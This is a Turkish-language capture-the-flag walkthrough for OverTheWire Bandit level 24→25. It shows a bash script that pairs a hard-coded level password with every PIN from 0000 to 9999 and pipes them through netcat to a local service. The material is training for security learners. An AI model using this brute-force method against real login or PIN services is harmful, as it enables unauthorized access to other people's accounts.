OverTheWire Bandit: Seviye 24 → Seviye 25
Bağlam
Bir servis 30002 portunda çalışıyor ve bizden iki şey istiyor:
- Bandit 24’ün şifresi.
- Gizli bir 4 haneli PIN kodu.
PIN kodunu bulmanın bir yolu yok, tek çare 0000’dan 9999’a kadar hepsini denemek. Buna Brute-Force (Kaba Kuvvet) saldırısı denir.
İpucu: “Her seferinde yeni bir bağlantı oluşturmanıza gerek yok.” Yani tüm denemeleri tek bir bağlantı üzerinden arka arkaya gönderebiliriz.
Çözüm
Adım 1: Strateji
Elle 10.000 tane şifre girmek imkansız. Bir script yazacağız. Scriptimiz şunu yapacak:
- Bir döngü ile 0000’dan 9999’a kadar sayıları üretecek.
- Her satıra
[Şifre] [PIN]formatını basacak. - Bu çıktıyı
nc(netcat) komutuna “pipe” (|) ile gönderecek.
Adım 2: Scripti Hazırla
Önce güvenli bir klasöre geçelim:
mkdir -p /tmp/banabul
cd /tmp/banabul
nano kirici.sh
Script İçeriği:
#!/bin/bash
# Bandit 24 şifresi
PASS="iCeGdTE7FqfRMCw5lhC05b2x0qX3hZU"
# {0000..9999} bash'in sayı üretme özelliğidir.
for i in {0000..9999}
do
echo "$PASS $i"
done
Kaydedip çıkın (Ctrl+O, Enter, Ctrl+X).
Scriptin çalışabilmesi için mutlaka yetki verin:
chmod +x kirici.sh
Adım 3: Saldırıyı Başlat
Şimdi scriptin çıktısını doğrudan ağ bağlantısına yönlendirelim. Binlerce satır “Wrong! Please enter the correct pincode” yazısı göreceğiz. Doğru olanı bulmak için grep kullanalım.
grep -v "Wrong" komutu, içinde “Wrong” (Yanlış) geçmeyen satırları gösterir. Yani sadece doğru cevabı!
./kirici.sh | nc localhost 30002 | grep -v "Wrong"
Birkaç saniye içinde pin kodunu deneyecek ve sadece doğru olan satırı (şifreyi) ekrana basacaktır.
Adım 4: Şifreyi Kaydet
Çıktıda Correct! yazısını ve Bandit 25’in şifresini göreceksiniz. Onu not edin.
Öğrendiklerimiz
- Brute-Force: Olası tüm kombinasyonları deneyerek şifre kırma yöntemi.
- Bash Range Expansion:
{0000..9999}sözdizimi ile sayı serileri oluşturma. - Pipelining: Bir programın çıktısını (binlerce satır şifre denemesi) başka bir programa (
nc) girdi olarak verme. Bu yöntem, her deneme için ayrı bağlantı açmaktan (nc’yi 10.000 kere çağırmaktan) çok daha hızlıdır.